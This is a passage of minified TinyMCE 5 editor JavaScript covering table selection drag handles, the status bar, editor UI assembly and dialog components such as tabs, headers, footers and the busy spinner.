o,r,i,u=OE(e,a.blockerClass,(r=o=n,i=function(t){TE(e,a,c,nD,t)},nu([Cr(si(),r),Cr(fi(),o),Cr(di(),o),Cr(li(),function(t,e){i(e.event)})])));f.set(u),s(e),kE(e,u)}),Cr(li(),function(t,e){e.stop(),TE(t,a,c,nD,e.event)}),Cr(fi(),function(t,e){e.stop(),l(t)}),Cr(di(),l)]}function ME(t,r,i,u,e,n){return t.fold(function(){return iD.snap({sensor:XE(i-20,u-20),range:kn(e,n),output:XE(vt.some(i),vt.some(u)),extra:{td:r}})},function(t){var e=i-20,n=u-20,o=t.element.dom.getBoundingClientRect();return iD.snap({sensor:XE(e,n),range:kn(40,40),output:XE(vt.some(i-o.width/2),vt.some(u-o.height/2)),extra:{td:r}})})}function FE(t,i,u){return{getSnapPoints:t,leftAttr:"data-drag-left",topAttr:"data-drag-top",onSensor:function(t,e){var n=e.td,o=i.get(),r=n;o.exists(function(t){return zt(t,r)})||(i.set(n),u(n))},mustSnap:!0}}function IE(t){return Lm(ip.sketch({dom:{tag:"div",classes:["tox-selector"]},buttonBehaviours:ec([iD.config({mode:"mouseOrTouch",blockerClass:"blocker",snaps:t}),hS.config({})]),eventOrder:{mousedown:["dragging","alloy.base.behaviour"],touchstart:["dragging","alloy.base.behaviour"]}}))}function RE(a,n){function e(t){var e=He(t);return ME(g.getOpt(n),t,e.x,e.y,e.width,e.height)}function o(t){var e=He(t);return ME(p.getOpt(n),t,e.right,e.bottom,e.width,e.height)}function r(t,i,e,u){var n=e(i);iD.snapTo(t,n),function(t){var e=i.dom.getBoundingClientRect();ve(t.element,"display");var n=Xt(Mt.fromDom(a.getBody())).dom.innerHeight,o=e[u]<0,r=e[u]>n;(o||r)&&fe(t.element,"display","none")}(t)}function i(t){return r(h,t,e,"top")}function u(t){return r(v,t,o,"bottom")}var c=Po([]),s=Po([]),t=Po(!1),l=gc(),f=gc(),d=FE(function(){return B(c.get(),e)},l,function(e){f.get().each(function(t){a.fire("TableSelectorChange",{start:e,finish:t})})}),m=FE(function(){return B(s.get(),o)},f,function(e){l.get().each(function(t){a.fire("TableSelectorChange",{start:t,finish:e})})}),g=IE(d),p=IE(m),h=Tu(g.asSpec()),v=Tu(p.asSpec());ln().deviceType.isTouch()&&(a.on("TableSelectionChange",function(e){t.get()||(Ns(n,h),Ns(n,v),t.set(!0)),l.set(e.start),f.set(e.finish),e.otherCells.each(function(t){c.set(t.upOrLeftCells),s.set(t.downOrRightCells),i(e.start),u(e.finish)})}),a.on("ResizeEditor ResizeWindow ScrollContent",function(){l.get().each(i),f.get().each(u)}),a.on("TableSelectionClear",function(){t.get()&&(Vs(h),Vs(v),t.set(!1)),l.clear(),f.clear()}))}var NE,PE,VE={name:"lineheight",text:"Line height",icon:"line-height",getOptions:function(t){return t.getParam("lineheight_formats","1 1.1 1.2 1.3 1.4 1.5 2","string").split(" ")},hash:function(t){return r=["fixed","relative","empty"],vt.from(XT.exec(t)).bind(function(t){var e=Number(t[1]),n=t[2],o=n;return d(r,function(t){return d(GT[t],function(t){return o===t})})?vt.some({value:e,unit:n}):vt.none()}).map(function(t){return t.value+t.unit}).getOr(t);var r},display:h,watcher:function(t,e,n){return t.formatter.formatChanged("lineheight",n,!1,{value:e}).unbind},getCurrent:function(t){return vt.from(t.queryCommandValue("LineHeight"))},setCurrent:function(t,e){return t.execCommand("LineHeight",!1,e)}},HE=function(t){return{type:"selection",root:Mt.fromDom(t.selection.getNode())}},LE={onLtr:function(){return[$a,Xa,Ya,qa,Ka,Ja,np,op,Mm,Am,Bm,Dm]},onRtl:function(){return[$a,Ya,Xa,Ka,qa,Ja,np,op,Bm,Dm,Mm,Am]}},zE={valignCentre:[],alignCentre:[],alignLeft:["tox-pop--align-left"],alignRight:["tox-pop--align-right"],right:["tox-pop--right"],left:["tox-pop--left"],bottom:["tox-pop--bottom"],top:["tox-pop--top"]},UE={type:"separator"},jE=function(e){function t(t){return{text:t.text,icon:t.icon,disabled:t.disabled,shortcut:t.shortcut}}var n;if(y(e))return e;switch(e.type){case"separator":return UE;case"submenu":return lt(lt({type:"nestedmenuitem"},t(e)),{getSubmenuItems:function(){var t=e.getSubmenuItems();return y(t)?t:B(t,jE)}});default:return lt(lt({type:"menuitem"},t(e)),{onAction:(n=e.onAction,function(){return n()})})}},WE=Vo([{offset:["x","y"]},{absolute:["x","y"]},{fixed:["x","y"]}]),GE=WE.offset,XE=WE.absolute,YE=WE.fixed,qE=function(t,e,l,f,d){var n=e.getSnapPoints(t);return SE(n,l,f,d).orThunk(function(){return R(n,function(e,n){var t,o,r,i,u,a,c,s=(t=n.sensor,n.range.left,n.range.top,i=hE(l,o=f,r=d),u=hE(t,o,r),a=Math.abs(i.left-u.left),c=Math.abs(i.top-u.top),kn(a,c));return e.deltas.fold(function(){return{deltas:vt.some(s),snap:vt.some(n)}},function(t){return(s.left+s.top)/2<=(t.left+t.top)/2?{deltas:vt.some(s),snap:vt.some(n)}:e})},{deltas:vt.none(),snap:vt.none()}).snap.map(function(t){return{output:yE(t.output,l,f,d),extra:t.extra}})})},KE=function(t,e,n,o,r){return SE(e.getSnapPoints(t),n,o,r)},JE=Object.freeze({__proto__:null,snapTo:function(t,e,n,o){var r,i,u,a=e.getTarget(t.element);e.repositionTarget&&(r=Ie(jt(t.element)),i=zC(a),me(a,bE({coord:yE((u=o).output,u.output,r,i),extra:u.extra}.coord,0,i)))}}),$E="data-initial-z-index",QE=To("snaps",[mo("getSnapPoints"),Ju("onSensor"),mo("leftAttr"),mo("topAttr"),Eo("lazyViewport",Fn),Eo("mustSnap",!1)]),ZE=[Eo("useFixed",T),mo("blockerClass"),Eo("getTarget",h),Eo("onDrag",st),Eo("repositionTarget",!0),Eo("onDrop",st),Io("getBounds",Fn),QE],tD=Object.freeze({__proto__:null,getData:function(t){return vt.from(kn(t.x,t.y))},getDelta:function(t,e){return kn(e.left-t.left,e.top-t.top)}}),eD=V(V([],ZE,!0),[ta("dragger",{handlers:DE(AE)})],!1),nD=Object.freeze({__proto__:null,getData:function(t){var e,n=t.raw.touches;return 1===n.length?(e=n[0],vt.some(kn(e.clientX,e.clientY))):vt.none()},getDelta:function(t,e){return kn(e.left-t.left,e.top-t.top)}}),oD=V(V([],ZE,!0),[ta("dragger",{handlers:DE(BE)})],!1),rD=V(V([],ZE,!0),[ta("dragger",{handlers:DE(function(t,e,n){return V(V([],AE(t,e,n),!0),BE(t,e,n),!0)})})],!1),iD=wa({branchKey:"mode",branches:Object.freeze({__proto__:null,mouse:eD,touch:oD,mouseOrTouch:rD}),name:"dragging",active:{events:function(t,e){return t.dragger.handlers(t,e)}},extra:{snap:function(t){return{sensor:t.sensor,range:t.range,output:t.output,extra:vt.from(t.extra)}}},state:Object.freeze({__proto__:null,init:function(){var i=vt.none(),e=vt.none(),t=rt({});return wu({readState:t,reset:function(){i=vt.none(),e=vt.none()},update:function(r,t){return r.getData(t).bind(function(t){return e=r,n=t,o=i.map(function(t){return e.getDelta(t,n)}),i=vt.some(n),o;var e,n,o})},getStartData:function(){return e},setStartData:function(t){e=vt.some(t)}})}}),apis:JE});function uD(t,e,n){var o,r,i,u,a,c,s=Mt.fromDom(t.getContainer());J((o=t,r=e,i=n,u=xe(s),a=Ce(s),(c={}).height=Q_(u+r.top,fv(o),mv(o)),i===NE.Both&&(c.width=Q_(a+r.left,lv(o),dv(o))),c),function(t,e){return fe(s,e,$_(t)),0}),t.fire("ResizeEditor")}function aD(t,e,n,o){return uD(t,kn(20*n,20*o),e),vt.some(!0)}function cD(t,e){var n,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v;return{dom:{tag:"div",classes:["tox-statusbar"]},components:(v=[],t.getParam("elementpath",!0,"boolean")&&v.push((g=t,h=e,(p={}).delimiter||(p.delimiter="\xbb"),{dom:{tag:"div",classes:["tox-statusbar__path"],attributes:{role:"navigation"}},behaviours:ec([Tg.config({mode:"flow",selector:"div[role=button]"}),gd.config({disabled:h.isDisabled}),gb(),gx.config({}),Dg.config({}),mm("elementPathEvents",[ou(function(r,t){g.shortcuts.add("alt+F11","focus statusbar elementpath",function(){return Tg.focusIn(r)}),g.on("NodeChange",function(t){var e,o,n=function(t){for(var e=[],n=t.length;0<n--;){var o=t[n];if(1===o.nodeType&&!function(t){if(1===t.nodeType){if("BR"===t.nodeName||t.getAttribute("data-mce-bogus"))return 1;if("bookmark"===t.getAttribute("data-mce-type"))return 1}}(o)){var r=g.fire("ResolveName",{name:o.nodeName.toLowerCase(),target:o});if(r.isDefaultPrevented()||e.push({name:r.name,element:o}),r.isPropagationStopped())break}}return e}(t.parents);0<n.length?Dg.set(r,(e=B(n||[],function(e,t){return ip.sketch({dom:{tag:"div",classes:["tox-statusbar__path-item"],attributes:{role:"button","data-index":t,"tab-index":-1,"aria-level":t+1},innerHtml:e.name},action:function(t){g.focus(),g.selection.select(e.element),g.nodeChanged()},buttonBehaviours:ec([Jb(h.isDisabled),gb()])})}),o={dom:{tag:"div",classes:["tox-statusbar__path-divider"],attributes:{"aria-hidden":!0},innerHtml:" "+p.delimiter+" "}},R(e.slice(1),function(t,e){var n=t;return n.push(o),n.push(e),n},[e[0]]))):Dg.set(r,[])})})])]),components:[]})),t.hasPlugin("wordcount")&&v.push((f=t,d=e,ip.sketch({dom:{tag:"button",classes:["tox-statusbar__wordcount"]},components:[],buttonBehaviours:ec([Jb(d.isDisabled),gb(),gx.config({}),Dg.config({}),Df.config({store:{mode:"memory",initialValue:{mode:"words",count:{words:0,characters:0}}}}),mm("wordcount-events",[uu(function(t){var e=Df.getValue(t),n="words"===e.mode?"characters":"words";Df.setValue(t,{mode:n,count:e.count}),b(t,e.count,n)}),ou(function(n){f.on("wordCountUpdate",function(t){var e=Df.getValue(n).mode;Df.setValue(n,{mode:e,count:t.wordCount}),b(n,t.wordCount,e)})})])]),eventOrder:((m={})[Ii()]=["disabling","alloy.base.behaviour","wordcount-events"],m)}))),t.getParam("branding",!0,"boolean")&&v.push({dom:{tag:"span",classes:["tox-statusbar__branding"],innerHtml:'<a href="https://www.tiny.cloud/?utm_campaign=editor_referral&amp;utm_medium=poweredby&amp;utm_source=tinymce&amp;utm_content=v5" rel="noopener" target="_blank" tabindex="-1" aria-label="'+(l=fh.translate(["Powered by {0}","Tiny"]))+'">'+l+"</a>"}}),n=0<v.length?[{dom:{tag:"div",classes:["tox-statusbar__text-container"]},components:v}]:[],i=e,a=!(u=r=t).hasPlugin("autoresize"),o=(s=!1===(c=u.getParam("resize",a))?NE.None:"both"===c?NE.Both:NE.Vertical)===NE.None?vt.none():vt.some(sh("resize-handle",{tag:"div",classes:["tox-statusbar__resize-handle"],attributes:{title:i.translate("Resize")},behaviours:[iD.config({mode:"mouse",repositionTarget:!1,onDrag:function(t,e,n){return uD(r,n,s)},blockerClass:"tox-blocker"}),Tg.config({mode:"special",onLeft:function(){return aD(r,s,-1,0)},onRight:function(){return aD(r,s,1,0)},onUp:function(){return aD(r,s,0,-1)},onDown:function(){return aD(r,s,0,1)}}),gx.config({}),Mg.config({})]},i.icons)),n.concat(o.toArray()))};function b(t,e,n){return Dg.set(t,[ri(d.translate(["{0} "+n,e[n]]))])}}function sD(d){function m(){return i.bind(B_.getHeader)}function g(){return Nn.value(y)}function p(){return i.bind(function(t){return B_.getThrobber(t)}).getOrDie("Could not find throbber element")}var t,e,n,o,r=d.inline,h=r?RT:IT,v=fb(d)?XO:NO,i=vt.none(),u=ln(),a=u.browser.isIE()?["tox-platform-ie"]:[],c=u.deviceType.isTouch()?["tox-platform-touch"]:[],s=ub(d),l=sb(d),f=fh.isRtl()?{attributes:{dir:"rtl"}}:{},b={attributes:((t={})[ns]=s?Oc.BottomToTop:Oc.TopToBottom,t)},y=Tu((e=zt(bn(),l)&&"grid"===ge(l,"display"),n={dom:lt({tag:"div",classes:["tox","tox-silver-sink","tox-tinymce-aux"].concat(a).concat(c)},f),behaviours:ec([ff.config({useFixed:function(){return v.isDocked(m)}})])},o={dom:{styles:{width:document.body.clientWidth+"px"}},events:nu([Cr(Wi(),function(){fe(J.element,"width",document.body.clientWidth+"px")})])},Yo(n,e?o:{}))),x=Lm({dom:{tag:"div",classes:["tox-anchorbar"]}}),w=HC(y,d,function(){return i.bind(function(t){return x.getOpt(t)}).getOrDie("Could not find a anchor bar element")}),S=B_.parts.menubar({dom:{tag:"div",classes:["tox-menubar"]},backstage:w,onEscape:function(){d.focus()}}),k=rb(d),C=B_.parts.toolbar(lt({dom:{tag:"div",classes:["tox-toolbar"]},getSink:g,providers:w.shared.providers,onEscape:function(){d.focus()},type:k,lazyToolbar:function(){return i.bind(function(t){return B_.getToolbar(t)}).getOrDie("Could not find more toolbar element")},lazyHeader:function(){return m().getOrDie("Could not find header element")}},b)),O=B_.parts["multiple-toolbar"]({dom:{tag:"div",classes:["tox-toolbar-overlord"]},providers:w.shared.providers,onEscape:function(){d.focus()},type:k}),_=B_.parts.socket({dom:{tag:"div",classes:["tox-edit-area"]}}),T=B_.parts.sidebar({dom:{tag:"div",classes:["tox-sidebar"]}}),E=B_.parts.throbber({dom:{tag:"div",classes:["tox-throbber"]},backstage:w}),D=d.getParam("statusbar",!0,"boolean")&&!r?vt.some(cD(d,w.shared.providers)):vt.none(),A={dom:{tag:"div",classes:["tox-sidebar-wrap"]},components:[_,T]},B=ob(d),M=pv(d),F=gv(d),I=B_.parts.header({dom:lt({tag:"div",classes:["tox-editor-header"]},b),components:ft([F?[S]:[],B?[O]:M?[C]:[],cb(d)?[]:[x.asSpec()]]),sticky:fb(d),editor:d,sharedBackstage:w.shared}),R=ft([s?[]:[I],r?[]:[A],s?[I]:[]]),N=ft([[{dom:{tag:"div",classes:["tox-editor-container"]},components:R}],r?[]:D.toArray(),[E]]),P=lb(d),V=lt(lt({role:"application"},fh.isRtl()?{dir:"rtl"}:{}),P?{"aria-hidden":"true"}:{}),H=Tu(B_.sketch({dom:{tag:"div",classes:["tox","tox-tinymce"].concat(r?["tox-tinymce-inline"]:[]).concat(s?["tox-tinymce--toolbar-bottom"]:[]).concat(c).concat(a),styles:lt({visibility:"hidden"},P?{opacity:"0",border:"0"}:{}),attributes:V},components:N,behaviours:ec([gb(),gd.config({disableClass:"tox-tinymce--disabled"}),Tg.config({mode:"cyclic",selector:".tox-menubar, .tox-toolbar, .tox-toolbar__primary, .tox-toolbar__overflow--open, .tox-sidebar__overflow--open, .tox-statusbar__path, .tox-statusbar__wordcount, .tox-statusbar__branding a, .tox-statusbar__resize-handle"})])})),i=vt.some(H);d.shortcuts.add("alt+F9","focus menubar",function(){B_.focusMenubar(H)}),d.shortcuts.add("alt+F10","focus toolbar",function(){B_.focusToolbar(H)}),d.addCommand("ToggleToolbarDrawer",function(){B_.toggleToolbarDrawer(H)}),d.addQueryStateHandler("ToggleToolbarDrawer",function(){return B_.isToolbarDrawerToggled(H)});var L,z,U,j,W,G,X,Y,q,K=tx(H),J=tx(y);function $(){var t,e,n,o,r,i,u=$_((o=cv(n=e=d),r=fv(n),i=mv(n),J_(o).map(function(t){return Q_(t,r,i)}).getOr(cv(e)))),a=$_(Z_(t=d).getOr(sv(t)));return d.inline||(he("div","width",a)&&fe(H.element,"width",a),he("div","height",u)?fe(H.element,"height",u):fe(H.element,"height","200px")),u}return L=d,z=K,U=J,j=Sa(),W=pc(j,"touchstart",tt),G=pc(j,"touchmove",function(t){return Q(zi(),t)}),X=pc(j,"touchend",function(t){return Q(Ui(),t)}),Y=pc(j,"mousedown",tt),q=pc(j,"mouseup",function(t){0===t.raw.button&&Z(wf(),{target:t.target})}),L.on("PostRender",function(){L.on("click",et),L.on("tap",et),L.on("mouseup",nt),L.on("mousedown",ot),L.on("ScrollWindow",rt),L.on("ResizeWindow",it),L.on("ResizeEditor",ut),L.on("AfterProgressState",at),L.on("DismissPopups",ct)}),L.on("remove",function(){L.off("click",et),L.off("tap",et),L.off("mouseup",nt),L.off("mousedown",ot),L.off("ScrollWindow",rt),L.off("ResizeWindow",it),L.off("ResizeEditor",ut),L.off("AfterProgressState",at),L.off("DismissPopups",ct),Y.unbind(),W.unbind(),G.unbind(),X.unbind(),q.unbind()}),L.on("detach",function(){zs(z),zs(U),z.destroy(),U.destroy()}),{mothership:K,uiMothership:J,backstage:w,renderUI:function(){var o,r;v.setup(d,w.shared,m),ZT(d,w),fE(d,g,w),r=(o=d).ui.registry.getAll().sidebars,St(Ct(r),function(e){function n(){return mt(vt.from(o.queryCommandValue("ToggleSidebar")),e)}var t=r[e];o.ui.registry.addToggleButton(e,{icon:t.icon,tooltip:t.tooltip,onAction:function(t){o.execCommand("ToggleSidebar",!1,e),t.setActive(n())},onSetup:function(t){function e(){return t.setActive(n())}return o.on("ToggleSidebar",e),function(){o.off("ToggleSidebar",e)}}})}),x1(d,p,w.shared),dt(d.getParam("toolbar_groups",{},"object"),function(t,e){d.ui.registry.addGroupToolbarButton(e,t)});var t,e=d.ui.registry.getAll(),n=e.buttons,i=e.menuItems,u=e.contextToolbars,a=e.sidebars,c=hv(d),s={menuItems:i,menus:(t=d.getParam("menu"))?dt(t,function(t){return lt(lt({},t),{items:t.items})}):{},menubar:d.getParam("menubar"),toolbar:c.getOrThunk(function(){return d.getParam("toolbar",!0)}),allowToolbarGroups:k===vv.floating,buttons:n,sidebar:a};fT(d,u,y,{backstage:w}),RE(d,y);var l=d.getElement(),f=$();return h.render(d,{mothership:K,uiMothership:J,outerContainer:H},s,w,{targetNode:l,height:f})},getUi:function(){return{channels:{broadcastAll:J.broadcast,broadcastOn:J.broadcastOn,register:st}}}};function Q(e,n){St([z,U],function(t){t.broadcastEvent(e,n)})}function Z(e,n){St([z,U],function(t){t.broadcastOn([e],n)})}function tt(t){return Z(yf(),{target:t.target})}function et(t){return Z(yf(),{target:Mt.fromDom(t.target)})}function nt(t){0===t.button&&Z(wf(),{target:Mt.fromDom(t.target)})}function ot(){St(L.editorManager.get(),function(t){L!==t&&t.fire("DismissPopups",{relatedTarget:L})})}function rt(t){return Q(ji(),Mc(t))}function it(t){Z(xf(),{}),Q(Wi(),Mc(t))}function ut(){return Z(xf(),{})}function at(t){t.state&&Z(yf(),{target:Mt.fromDom(L.getContainer())})}function ct(t){Z(yf(),{target:Mt.fromDom(t.relatedTarget.getContainer())})}}function lD(e){return ar("items","items",jn(),eo(io(function(t){return ao("Checking item of "+e,ZA,t).fold(function(t){return Nn.error(ur(t))},function(t){return Nn.value(t)})})))}function fD(t){return y(t.type)&&y(t.name)}function dD(t){return{internalDialog:co(ao("dialog",aB,t)),dataValidator:(e=H(F(lB(t),fD),function(e){return vt.from(fB[e.type]).fold(function(){return[]},function(t){return[go(e.name,t)]})}),$o(e)),initialData:t.initialData};var e}function mD(t){var n=[],o={};return J(t,function(t,e){t.fold(function(){n.push(e)},function(t){o[e]=t})}),0<n.length?Nn.error(n):Nn.value(o)}function gD(t,e){fe(t,"height",e+"px"),ln().browser.isIE()?ve(t,"flex-basis"):fe(t,"flex-basis",e+"px")}function pD(t,d,e){Fu(t,'[role="dialog"]').each(function(f){Iu(f,'[role="tablist"]').each(function(l){e.get().map(function(t){return fe(d,"height","0"),fe(d,"flex-basis","0"),Math.min(t,(n=d,o=l,r=Gt(e=f).dom,i="fixed"===ge(Fu(e,".tox-dialog-wrap").getOr(e),"position")?Math.max(r.clientHeight,window.innerHeight):Math.max(r.offsetHeight,r.scrollHeight),u=xe(n),a=n.dom.offsetLeft>=o.dom.offsetLeft+Ce(o)?Math.max(xe(o),u):u,c=parseInt(ge(e,"margin-top"),10)||0,s=parseInt(ge(e,"margin-bottom"),10)||0,i-(xe(e)+c+s-a)));var e,n,o,r,i,u,a,c,s}).each(function(t){gD(d,t)})})})}function hD(t){return Iu(t,'[role="tabpanel"]')}function vD(t,n){function o(t){var e=mD(Df.getValue(t)).getOr({}),n=i.get(),o=Yo(n,e);i.set(o)}function r(t){var e=i.get();Df.setValue(t,e)}var u,a,i=Po({}),c=Po(null),e=B(t.tabs,function(t){return{value:t.name,dom:{tag:"div",classes:["tox-dialog__body-nav-item"],innerHtml:n.shared.providers.translate(t.title)},view:function(){return[ek.sketch(function(e){return{dom:{tag:"div",classes:["tox-form"]},components:B(t.items,function(t){return pC(e,t,n)}),formBehaviours:ec([Tg.config({mode:"acyclic",useTabstopAt:O(gw)}),mm("TabView.form.events",[ou(r),ru(o)]),ic.config({channels:lr([{key:wB,value:{onReceive:o}},{key:SB,value:{onReceive:r}}])})])}})]}}}),s=(u=e,a=gc(),{extraEvents:[ou(function(t){var o=t.element;hD(o).each(function(e){var n;fe(e,"visibility","hidden"),t.getSystem().getByDom(e).toOptional().each(function(t){var o,r,i;Y(G((r=e,i=t,B(o=u,function(t,e){Dg.set(i,o[e].view());var n=r.dom.getBoundingClientRect();return Dg.set(i,[]),n.height})),function(t,e){return e<t?-1:t<e?1:0})).fold(a.clear,a.set)}),pD(o,e,a),ve(e,"visibility"),n=t,Y(u).each(function(t){return xB.showTab(n,t.value)}),rp.requestAnimationFrame(function(){pD(o,e,a)})})}),Cr(Wi(),function(t){var e=t.element;hD(e).each(function(t){pD(e,t,a)})}),Cr(_x,function(t,e){var r=t.element;hD(r).each(function(e){var t=Oa(gn(e));fe(e,"visibility","hidden");var n=pe(e,"height").map(function(t){return parseInt(t,10)});ve(e,"height"),ve(e,"flex-basis");var o=e.dom.getBoundingClientRect().height;n.forall(function(t){return t<o})?(a.set(o),pD(r,e,a)):n.each(function(t){gD(e,t)}),ve(e,"visibility"),t.each(ka)})})],selectFirst:!1});return xB.sketch({dom:{tag:"div",classes:["tox-dialog__body"]},onChangeTab:function(t,e,n){var o=Df.getValue(e);br(t,Ox,{name:o,oldName:c.get()}),c.set(o)},tabs:e,components:[xB.parts.tabbar({dom:{tag:"div",classes:["tox-dialog__body-nav"]},components:[hB.parts.tabs({})],markers:{tabClass:"tox-tab",selectedClass:"tox-dialog__body-nav-item--active"},tabbarBehaviours:ec([gx.config({})])}),xB.parts.tabview({dom:{tag:"div",classes:["tox-dialog__body-content"]}})],selectFirst:s.selectFirst,tabSectionBehaviours:ec([mm("tabpanel",s.extraEvents),Tg.config({mode:"acyclic"}),cd.config({find:function(t){return Y(xB.getViewItems(t))}}),Df.config({store:{mode:"manual",getValue:function(t){return t.getSystem().broadcastOn([wB],{}),i.get()},setValue:function(t,e){i.set(e),t.getSystem().broadcastOn([SB],{})}}})])})}function bD(t,e,r,n){return{dom:{tag:"div",classes:["tox-dialog__content-js"],attributes:lt(lt({},e.map(function(t){return{id:t}}).getOr({})),n?{"aria-live":"polite"}:{})},components:[],behaviours:ec([ak(0),wT.config({channel:OB,updateState:function(t,e){return vt.some({isTabPanel:function(){return"tabpanel"===e.body.type}})},renderComponents:function(t){return"tabpanel"!==t.body.type?[(n=t.body,o=r,{dom:{tag:"div",classes:["tox-dialog__body"]},components:[{dom:{tag:"div",classes:["tox-dialog__body-content"]},components:[(e=Lm(ek.sketch(function(e){return{dom:{tag:"div",classes:["tox-form"].concat(n.classes)},components:B(n.items,function(t){return pC(e,t,o)})}}))).asSpec()]}],behaviours:ec([Tg.config({mode:"acyclic",useTabstopAt:O(gw)}),uk(e),dk(e,{postprocess:function(t){return mD(t).fold(function(t){return console.error(t),{}},h)}})])})]:[vD(t.body,r)];var n,o,e},initialData:t})])}}function yD(t,e){return{dom:{tag:"div",styles:{display:"none"},classes:["tox-dialog__header"]},components:[t,e]}}function xD(t,e){return qD.parts.close(ip.sketch({dom:{tag:"button",classes:["tox-button","tox-button--icon","tox-button--naked"],attributes:{type:"button","aria-label":e.translate("Close")}},action:t,buttonBehaviours:ec([gx.config({})])}))}function wD(){return qD.parts.title({dom:{tag:"div",classes:["tox-dialog__title"],innerHtml:"",styles:{display:"none"}}})}function SD(t,e){return qD.parts.body({dom:{tag:"div",classes:["tox-dialog__body"]},components:[{dom:{tag:"div",classes:["tox-dialog__body-content"]},components:[{dom:Hm("<p>"+nh(e.translate(t))+"</p>")}]}]})}function kD(t){return qD.parts.footer({dom:{tag:"div",classes:["tox-dialog__footer"]},components:t})}function CD(t,e){return[sx.sketch({dom:{tag:"div",classes:["tox-dialog__footer-start"]},components:t}),sx.sketch({dom:{tag:"div",classes:["tox-dialog__footer-end"]},components:e})]}function OD(e){var t,n="tox-dialog",o=n+"-wrap",r=o+"__backdrop",i=n+"__disable-scroll";return qD.sketch({lazySink:e.lazySink,onEscape:function(t){return e.onEscape(t),vt.some(!0)},useTabstopAt:function(t){return!gw(t)},dom:{tag:"div",classes:[n].concat(e.extraClasses),styles:lt({position:"relative"},e.extraStyles)},components:V([e.header,e.body],e.footer.toArray(),!0),parts:{blocker:{dom:Hm('<div class="'+o+'"></div>'),components:[{dom:{tag:"div",classes:EB?[r,r+"--opaque"]:[r]}}]}},dragBlockClass:o,modalBehaviours:ec(V([Mg.config({}),mm("dialog-events",e.dialogEvents.concat([Ar(bi(),function(t,e){Tg.focusIn(t)})])),mm("scroll-lock",[ou(function(){Yr(bn(),i)}),ru(function(){qr(bn(),i)})])],e.extraBehaviours,!0)),eventOrder:lt(((t={})[Ii()]=["dialog-events"],t[Gi()]=["scroll-lock","dialog-events","alloy.base.behaviour"],t[Xi()]=["alloy.base.behaviour","dialog-events","scroll-lock"],t),e.eventOrder)})}function _D(t){return ip.sketch({dom:{tag:"button",classes:["tox-button","tox-button--icon","tox-button--naked"],attributes:{type:"button","aria-label":t.translate("Close"),title:t.translate("Close")}},components:[sh("close",{tag:"div",classes:["tox-icon"]},t.icons)],action:function(t){vr(t,xx)}})}function TD(t,e,n){function o(t){return[ri(n.translate(t.title))]}return{dom:{tag:"div",classes:["tox-dialog__title"],attributes:lt({},e.map(function(t){return{id:t}}).getOr({}))},components:o(t),behaviours:ec([wT.config({channel:CB,renderComponents:o})])}}function ED(){return{dom:Hm('<div class="tox-dialog__draghandle"></div>')}}function DD(t,e){return n={title:e.shared.providers.translate(t),draggable:e.dialog.isDraggableModal()},o=e.shared.providers,r=qD.parts.title(TD(n,vt.none(),o)),i=qD.parts.draghandle(ED()),u=qD.parts.close(_D(o)),a=[r].concat(n.draggable?[i]:[]).concat([u]),sx.sketch({dom:Hm('<div class="tox-dialog__header"></div>'),components:a});var n,o,r,i,u,a}function AD(t,e,n){return{dom:{tag:"div",classes:["tox-dialog__busy-spinner"],attributes:{"aria-label":n.translate(t)},styles:{left:"0px",right:"0px",bottom:"0px",top:"0px",position:"absolute"}},behaviours:e,components:[{dom:Hm('<div class="tox-spinner"><div></div><div></div><div></div></div>')}]}}function BD(t,o,e){return{onClose:function(){return e.closeWindow()},onBlock:function(n){qD.setBusy(t(),function(t,e){return AD(n.message,e,o)})},onUnblock:function(){qD.setIdle(t())}}}function MD(t,e,n,o){var r;return Tu(OD(lt(lt({},t),{lazySink:o.shared.getSink,extraBehaviours:V([wT.config({channel:kB,updateState:function(t,e){return vt.some(e)},initialData:e}),gk({})],t.extraBehaviours,!0),onEscape:function(t){vr(t,xx)},dialogEvents:n,eventOrder:((r={})[Fi()]=[wT.name(),ic.name()],r[Gi()]=["scroll-lock",wT.name(),"messages","dialog-events","alloy.base.behaviour"],r[Xi()]=["alloy.base.behaviour","dialog-events","messages",wT.name(),"scroll-lock"],r)})))}function FD(t){return B(t,function(t){return"menu"===t.type?(n=B((e=t).items,function(t){var e=Po(!1);return lt(lt({},t),{storage:e})}),lt(lt({},e),{items:n})):t;var e,n})}function ID(t){return R(t,function(t,e){return"menu"!==e.type?t:R(e.items,function(t,e){return t[e.name]=e.storage,t},t)},{})}function RD(t,n){return[Er(bi(),mw),t(yx,function(t,e){n.onClose(),e.onClose()}),t(xx,function(t,e,n,o){e.onCancel(t),vr(o,yx)}),Cr(Cx,function(t,e){return n.onUnblock()}),Cr(kx,function(t,e){return n.onBlock(e.event)})]}function ND(t,e){function n(t,e){return sx.sketch({dom:{tag:"div",classes:["tox-dialog__footer-"+t]},components:B(e,function(t){return t.memento.asSpec()})})}var o=M(e.map(function(t){return t.footerButtons}).getOr([]),function(t){return"start"===t.align});return[n("start",o.pass),n("end",o.fail)]}function PD(t,n){return{dom:Hm('<div class="tox-dialog__footer"></div>'),components:[],behaviours:ec([wT.config({channel:_B,initialData:t,updateState:function(t,e){var r=B(e.buttons,function(t){var e=Lm($w(t,t.type,n));return{name:t.name,align:t.align,memento:e}});return vt.some({lookupByName:function(t,e){return n=t,o=e,N(r,function(t){return t.name===o}).bind(function(t){return t.memento.getOpt(n)});var n,o},footerButtons:r})},renderComponents:ND})])}}function VD(t,e){return qD.parts.footer(PD(t,e))}function HD(e,n){if(e.getRoot().getSystem().isConnected()){var o=cd.getCurrent(e.getFormWrapper()).getOr(e.getFormWrapper());return ek.getField(o,n).fold(function(){var t=e.getFooter();return wT.getState(t).get().bind(function(t){return t.lookupByName(o,n)})},function(t){return vt.some(t)})}return vt.none()}function LD(c,o,s){function t(t){var e=c.getRoot();e.getSystem().isConnected()&&t(e)}var l={getData:function(){var t=c.getRoot(),e=t.getSystem().isConnected()?c.getFormWrapper():t,n=Df.getValue(e),o=dt(s,function(t){return t.get()});return lt(lt({},n),o)},setData:function(a){t(function(t){var e,n,o=l.getData(),r=lt(lt({},o),a),i=(e=r,n=c.getRoot(),wT.getState(n).get().map(function(t){return co(ao("data",t.dataValidator,e))}).getOr(e)),u=c.getFormWrapper();Df.setValue(u,i),J(s,function(t,e){Tt(r,e)&&t.set(r[e])})})},disable:function(t){HD(c,t).each(gd.disable)},enable:function(t){HD(c,t).each(gd.enable)},focus:function(t){HD(c,t).each(Mg.focus)},block:function(e){if(!y(e))throw new Error("The dialogInstanceAPI.block function should be passed a blocking message of type string as an argument");t(function(t){br(t,kx,{message:e})})},unblock:function(){t(function(t){vr(t,Cx)})},showTab:function(n){t(function(t){var 